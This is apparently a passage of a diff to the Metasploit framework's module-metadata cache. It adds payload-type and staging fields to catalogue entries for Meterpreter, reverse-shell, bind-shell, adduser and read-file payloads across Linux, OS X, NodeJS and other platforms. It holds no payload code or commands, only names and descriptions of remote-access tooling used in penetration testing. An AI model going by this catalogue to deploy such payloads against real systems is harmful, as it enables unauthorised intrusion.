"notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/ppc/meterpreter_reverse_https": { "name": "Linux Meterpreter, Reverse HTTPS Inline", @@ -193262,7 +213903,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/ppc/meterpreter_reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Inline", @@ -193298,7 +213941,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/ppc/shell_bind_tcp": { "name": "Linux Command Shell, Bind TCP Inline", @@ -193332,7 +213977,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/ppc/shell_find_port": { "name": "Linux Command Shell, Find Port Inline", @@ -193366,7 +214013,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/ppc/shell_reverse_tcp": { "name": "Linux Command Shell, Reverse TCP Inline", @@ -193400,7 +214049,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/ppc64/shell_bind_tcp": { "name": "Linux Command Shell, Bind TCP Inline", @@ -193434,7 +214085,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/ppc64/shell_find_port": { "name": "Linux Command Shell, Find Port Inline", @@ -193468,7 +214121,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/ppc64/shell_reverse_tcp": { "name": "Linux Command Shell, Reverse TCP Inline", @@ -193502,7 +214157,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/ppc64le/meterpreter_reverse_http": { "name": "Linux Meterpreter, Reverse HTTP Inline", @@ -193538,7 +214195,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/ppc64le/meterpreter_reverse_https": { "name": "Linux Meterpreter, Reverse HTTPS Inline", @@ -193574,7 +214233,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/ppc64le/meterpreter_reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Inline", @@ -193610,7 +214271,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/ppce500v2/meterpreter_reverse_http": { "name": "Linux Meterpreter, Reverse HTTP Inline", @@ -193646,7 +214309,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/ppce500v2/meterpreter_reverse_https": { "name": "Linux Meterpreter, Reverse HTTPS Inline", @@ -193682,7 +214347,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/ppce500v2/meterpreter_reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Inline", @@ -193718,7 +214385,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x64/exec": { "name": "Linux Execute Command", @@ -193753,7 +214422,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x64/meterpreter/bind_tcp": { "name": "Linux Mettle x64, Bind TCP Stager", @@ -193788,7 +214459,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x64/meterpreter", + "stager_refname": "linux/x64/bind_tcp" }, "payload_linux/x64/meterpreter/reverse_sctp": { "name": "Linux Mettle x64, Reverse SCTP Stager", @@ -193823,7 +214498,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x64/meterpreter", + "stager_refname": "linux/x64/reverse_sctp" }, "payload_linux/x64/meterpreter/reverse_tcp": { "name": "Linux Mettle x64, Reverse TCP Stager", @@ -193859,7 +214538,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x64/meterpreter", + "stager_refname": "linux/x64/reverse_tcp" }, "payload_linux/x64/meterpreter_reverse_http": { "name": "Linux Meterpreter, Reverse HTTP Inline", @@ -193895,7 +214578,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x64/meterpreter_reverse_https": { "name": "Linux Meterpreter, Reverse HTTPS Inline", @@ -193931,7 +214616,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x64/meterpreter_reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Inline", @@ -193967,7 +214654,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x64/pingback_bind_tcp": { "name": "Linux x64 Pingback, Bind TCP Inline", @@ -194001,7 +214690,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x64/pingback_reverse_tcp": { "name": "Linux x64 Pingback, Reverse TCP Inline", @@ -194035,7 +214726,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x64/shell/bind_tcp": { "name": "Linux Command Shell, Bind TCP Stager", @@ -194069,7 +214762,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x64/shell", + "stager_refname": "linux/x64/bind_tcp" }, "payload_linux/x64/shell/reverse_sctp": { "name": "Linux Command Shell, Reverse SCTP Stager", @@ -194104,7 +214801,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x64/shell", + "stager_refname": "linux/x64/reverse_sctp" }, "payload_linux/x64/shell/reverse_tcp": { "name": "Linux Command Shell, Reverse TCP Stager", @@ -194139,7 +214840,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x64/shell", + "stager_refname": "linux/x64/reverse_tcp" }, "payload_linux/x64/shell_bind_ipv6_tcp": { "name": "Linux x64 Command Shell, Bind TCP Inline (IPv6)", @@ -194173,7 +214878,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x64/shell_bind_tcp": { "name": "Linux Command Shell, Bind TCP Inline", @@ -194207,7 +214914,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x64/shell_bind_tcp_random_port": { "name": "Linux Command Shell, Bind TCP Random Port Inline", @@ -194241,7 +214950,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x64/shell_find_port": { "name": "Linux Command Shell, Find Port Inline", @@ -194275,7 +214986,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x64/shell_reverse_ipv6_tcp": { "name": "Linux x64 Command Shell, Reverse TCP Inline (IPv6)", @@ -194309,7 +215022,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x64/shell_reverse_tcp": { "name": "Linux Command Shell, Reverse TCP Inline", @@ -194343,7 +215058,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x86/adduser": { "name": "Linux Add User", @@ -194379,7 +215096,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x86/chmod": { "name": "Linux Chmod", @@ -194413,7 +215132,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x86/exec": { "name": "Linux Execute Command", @@ -194449,7 +215170,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x86/meterpreter/bind_ipv6_tcp": { "name": "Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)", @@ -194485,7 +215208,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/bind_ipv6_tcp" }, "payload_linux/x86/meterpreter/bind_ipv6_tcp_uuid": { "name": "Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)", @@ -194522,7 +215249,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/bind_ipv6_tcp_uuid" }, "payload_linux/x86/meterpreter/bind_nonx_tcp": { "name": "Linux Mettle x86, Bind TCP Stager", @@ -194557,7 +215288,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/bind_nonx_tcp" }, "payload_linux/x86/meterpreter/bind_tcp": { "name": "Linux Mettle x86, Bind TCP Stager (Linux x86)", @@ -194593,7 +215328,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/bind_tcp" }, "payload_linux/x86/meterpreter/bind_tcp_uuid": { "name": "Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)", @@ -194630,7 +215369,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/bind_tcp_uuid" }, "payload_linux/x86/meterpreter/find_tag": { "name": "Linux Mettle x86, Find Tag Stager", @@ -194665,7 +215408,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/find_tag" }, "payload_linux/x86/meterpreter/reverse_ipv6_tcp": { "name": "Linux Mettle x86, Reverse TCP Stager (IPv6)", @@ -194700,7 +215447,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/reverse_ipv6_tcp" }, "payload_linux/x86/meterpreter/reverse_nonx_tcp": { "name": "Linux Mettle x86, Reverse TCP Stager", @@ -194735,7 +215486,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/reverse_nonx_tcp" }, "payload_linux/x86/meterpreter/reverse_tcp": { "name": "Linux Mettle x86, Reverse TCP Stager", @@ -194772,7 +215527,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/reverse_tcp" }, "payload_linux/x86/meterpreter/reverse_tcp_uuid": { "name": "Linux Mettle x86, Reverse TCP Stager", @@ -194809,7 +215568,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/reverse_tcp_uuid" }, "payload_linux/x86/meterpreter_reverse_http": { "name": "Linux Meterpreter, Reverse HTTP Inline", @@ -194845,7 +215608,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x86/meterpreter_reverse_https": { "name": "Linux Meterpreter, Reverse HTTPS Inline", @@ -194881,7 +215646,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x86/meterpreter_reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Inline", @@ -194917,7 +215684,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x86/metsvc_bind_tcp": { "name": "Linux Meterpreter Service, Bind TCP", @@ -194951,7 +215720,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x86/metsvc_reverse_tcp": { "name": "Linux Meterpreter Service, Reverse TCP Inline", @@ -194985,7 +215756,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x86/read_file": { "name": "Linux Read File", @@ -195019,7 +215792,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x86/shell/bind_ipv6_tcp": { "name": "Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)", @@ -195055,7 +215830,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/bind_ipv6_tcp" }, "payload_linux/x86/shell/bind_ipv6_tcp_uuid": { "name": "Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)", @@ -195092,7 +215871,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/bind_ipv6_tcp_uuid" }, "payload_linux/x86/shell/bind_nonx_tcp": { "name": "Linux Command Shell, Bind TCP Stager", @@ -195126,7 +215909,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/bind_nonx_tcp" }, "payload_linux/x86/shell/bind_tcp": { "name": "Linux Command Shell, Bind TCP Stager (Linux x86)", @@ -195161,7 +215948,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/bind_tcp" }, "payload_linux/x86/shell/bind_tcp_uuid": { "name": "Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)", @@ -195197,7 +215988,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/bind_tcp_uuid" }, "payload_linux/x86/shell/find_tag": { "name": "Linux Command Shell, Find Tag Stager", @@ -195231,7 +216026,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/find_tag" }, "payload_linux/x86/shell/reverse_ipv6_tcp": { "name": "Linux Command Shell, Reverse TCP Stager (IPv6)", @@ -195266,7 +216065,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/reverse_ipv6_tcp" }, "payload_linux/x86/shell/reverse_nonx_tcp": { "name": "Linux Command Shell, Reverse TCP Stager", @@ -195300,7 +216103,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/reverse_nonx_tcp" }, "payload_linux/x86/shell/reverse_tcp": { "name": "Linux Command Shell, Reverse TCP Stager", @@ -195336,7 +216143,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/reverse_tcp" }, "payload_linux/x86/shell/reverse_tcp_uuid": { "name": "Linux Command Shell, Reverse TCP Stager", @@ -195372,7 +216183,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/reverse_tcp_uuid" }, "payload_linux/x86/shell_bind_ipv6_tcp": { "name": "Linux Command Shell, Bind TCP Inline (IPv6)", @@ -195406,7 +216221,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x86/shell_bind_tcp": { "name": "Linux Command Shell, Bind TCP Inline", @@ -195440,7 +216257,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x86/shell_bind_tcp_random_port": { "name": "Linux Command Shell, Bind TCP Random Port Inline", @@ -195476,7 +216295,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x86/shell_find_port": { "name": "Linux Command Shell, Find Port Inline", @@ -195510,7 +216331,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x86/shell_find_tag": { "name": "Linux Command Shell, Find Tag Inline", @@ -195544,7 +216367,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x86/shell_reverse_tcp": { "name": "Linux Command Shell, Reverse TCP Inline", @@ -195579,7 +216404,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x86/shell_reverse_tcp_ipv6": { "name": "Linux Command Shell, Reverse TCP Inline (IPv6)", @@ -195613,7 +216440,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/zarch/meterpreter_reverse_http": { "name": "Linux Meterpreter, Reverse HTTP Inline", @@ -195649,7 +216478,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/zarch/meterpreter_reverse_https": { "name": "Linux Meterpreter, Reverse HTTPS Inline", @@ -195685,7 +216516,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/zarch/meterpreter_reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Inline", @@ -195721,7 +216554,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_mainframe/shell_reverse_tcp": { "name": "Z/OS (MVS) Command Shell, Reverse TCP Inline", @@ -195755,7 +216590,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_multi/meterpreter/reverse_http": { "name": "Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)", @@ -195789,7 +216626,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "multi/meterpreter", + "stager_refname": "multi/reverse_http" }, "payload_multi/meterpreter/reverse_https": { "name": "Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)", @@ -195823,7 +216664,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "multi/meterpreter", + "stager_refname": "multi/reverse_https" }, "payload_netware/shell/reverse_tcp": { "name": "NetWare Command Shell, Reverse TCP Stager", @@ -195857,7 +216702,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "netware/shell", + "stager_refname": "netware/reverse_tcp" }, "payload_nodejs/shell_bind_tcp": { "name": "Command Shell, Bind TCP (via nodejs)", @@ -195891,7 +216740,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_nodejs/shell_reverse_tcp": { "name": "Command Shell, Reverse TCP (via nodejs)", @@ -195926,7 +216777,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_nodejs/shell_reverse_tcp_ssl": { "name": "Command Shell, Reverse TCP SSL (via nodejs)", @@ -195961,7 +216814,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_osx/armle/execute/bind_tcp": { "name": "OS X Write and Execute Binary, Bind TCP Stager", @@ -195995,7 +216850,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "osx/armle/execute", + "stager_refname": "osx/armle/bind_tcp" }, "payload_osx/armle/execute/reverse_tcp": { "name": "OS X Write and Execute Binary, Reverse TCP Stager", @@ -196029,7 +216888,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "osx/armle/execute", + "stager_refname": "osx/armle/reverse_tcp" }, "payload_osx/armle/shell/bind_tcp": { "name": "OS X Command Shell, Bind TCP Stager", @@ -196063,7 +216926,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "osx/armle/shell", + "stager_refname": "osx/armle/bind_tcp" }, "payload_osx/armle/shell/reverse_tcp": { "name": "OS X Command Shell, Reverse TCP Stager", @@ -196097,7 +216964,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "osx/armle/shell", + "stager_refname": "osx/armle/reverse_tcp" }, "payload_osx/armle/shell_bind_tcp": { "name": "Apple iOS Command Shell, Bind TCP Inline", @@ -196131,7 +217002,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_osx/armle/shell_reverse_tcp": { "name": "Apple iOS Command Shell, Reverse TCP Inline", @@ -196165,7 +217038,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_osx/armle/vibrate": { "name": "Apple iOS iPhone Vibrate", @@ -196199,7 +217074,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_osx/ppc/shell/bind_tcp": { "name": "OS X Command Shell, Bind TCP Stager", @@ -196233,7 +217110,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "osx/ppc/shell", + "stager_refname": "osx/ppc/bind_tcp" }, "payload_osx/ppc/shell/find_tag": { "name": "OS X Command Shell, Find Tag Stager", @@ -196267,7 +217148,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "osx/ppc/shell", + "stager_refname": "osx/ppc/find_tag" }, "payload_osx/ppc/shell/reverse_tcp": { "name": "OS X Command Shell, Reverse TCP Stager", @@ -196301,7 +217186,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "osx/ppc/shell", + "stager_refname": "osx/ppc/reverse_tcp" }, "payload_osx/ppc/shell_bind_tcp": { "name": "OS X Command Shell, Bind TCP Inline", @@ -196335,7 +217224,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_osx/ppc/shell_reverse_tcp": { "name": "OS X Command Shell, Reverse TCP Inline", @@ -196369,7 +217260,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_osx/x64/dupandexecve/bind_tcp": { "name": "OS X dup2 Command Shell, Bind TCP Stager", @@ -196404,7 +217297,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "osx/x64/dupandexecve", + "stager_refname": "osx/x64/bind_tcp" }, "payload_osx/x64/dupandexecve/reverse_tcp": { "name": "OS X dup2 Command Shell, Reverse TCP Stager", @@ -196439,7 +217336,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "osx/x64/dupandexecve", + "stager_refname": "osx/x64/reverse_tcp" }, "payload_osx/x64/dupandexecve/reverse_tcp_uuid": { "name": "OS X dup2 Command Shell, Reverse TCP Stager with UUID Support (OSX x64)", @@ -196474,7 +217375,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "osx/x64/dupandexecve", + "stager_refname": "osx/x64/reverse_tcp_uuid" }, "payload_osx/x64/exec": { "name": "OS X x64 Execute Command", @@ -196509,7 +217414,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_osx/x64/meterpreter/bind_tcp": { "name": "OSX Meterpreter, Bind TCP Stager", @@ -196547,7 +217454,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "osx/x64/meterpreter", + "stager_refname": "osx/x64/bind_tcp" }, "payload_osx/x64/meterpreter/reverse_tcp": { "name": "OSX Meterpreter, Reverse TCP Stager", @@ -196585,7 +217496,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "osx/x64/meterpreter", + "stager_refname": "osx/x64/reverse_tcp" }, "payload_osx/x64/meterpreter/reverse_tcp_uuid": { "name": "OSX Meterpreter, Reverse TCP Stager with UUID Support (OSX x64)", @@ -196622,7 +217537,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "osx/x64/meterpreter", + "stager_refname": "osx/x64/reverse_tcp_uuid" }, "payload_osx/x64/meterpreter_reverse_http": { "name": "OSX Meterpreter, Reverse HTTP Inline", @@ -196658,7 +217577,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_osx/x64/meterpreter_reverse_https": { "name": "OSX Meterpreter, Reverse HTTPS Inline", @@ -196694,7 +217615,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_osx/x64/meterpreter_reverse_tcp": { "name": "OSX Meterpreter, Reverse TCP Inline", @@ -196730,7 +217653,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_osx/x64/say": { "name": "OS X x64 say Shellcode", @@ -196764,7 +217689,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_osx/x64/shell_bind_tcp": { "name": "OS X x64 Shell Bind TCP", @@ -196798,7 +217725,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_osx/x64/shell_find_tag": { "name": "OSX Command Shell, Find Tag Inline", @@ -196832,7 +217761,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_osx/x64/shell_reverse_tcp": { "name": "OS X x64 Shell Reverse TCP", @@ -196866,7 +217797,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_osx/x86/bundleinject/bind_tcp": { "name": "Mac OS X Inject Mach-O Bundle, Bind TCP Stager", @@ -196900,7 +217833,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "osx/x86/bundleinject", + "stager_refname": "osx/x86/bind_tcp" }, "payload_osx/x86/bundleinject/reverse_tcp": { "name": "Mac OS X Inject Mach-O Bundle, Reverse TCP Stager", @@ -196934,7 +217871,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "osx/x86/bundleinject", + "stager_refname": "osx/x86/reverse_tcp" }, "payload_osx/x86/exec": { "name": "OS X Execute Command", @@ -196970,7 +217911,9 @@ "notes": { 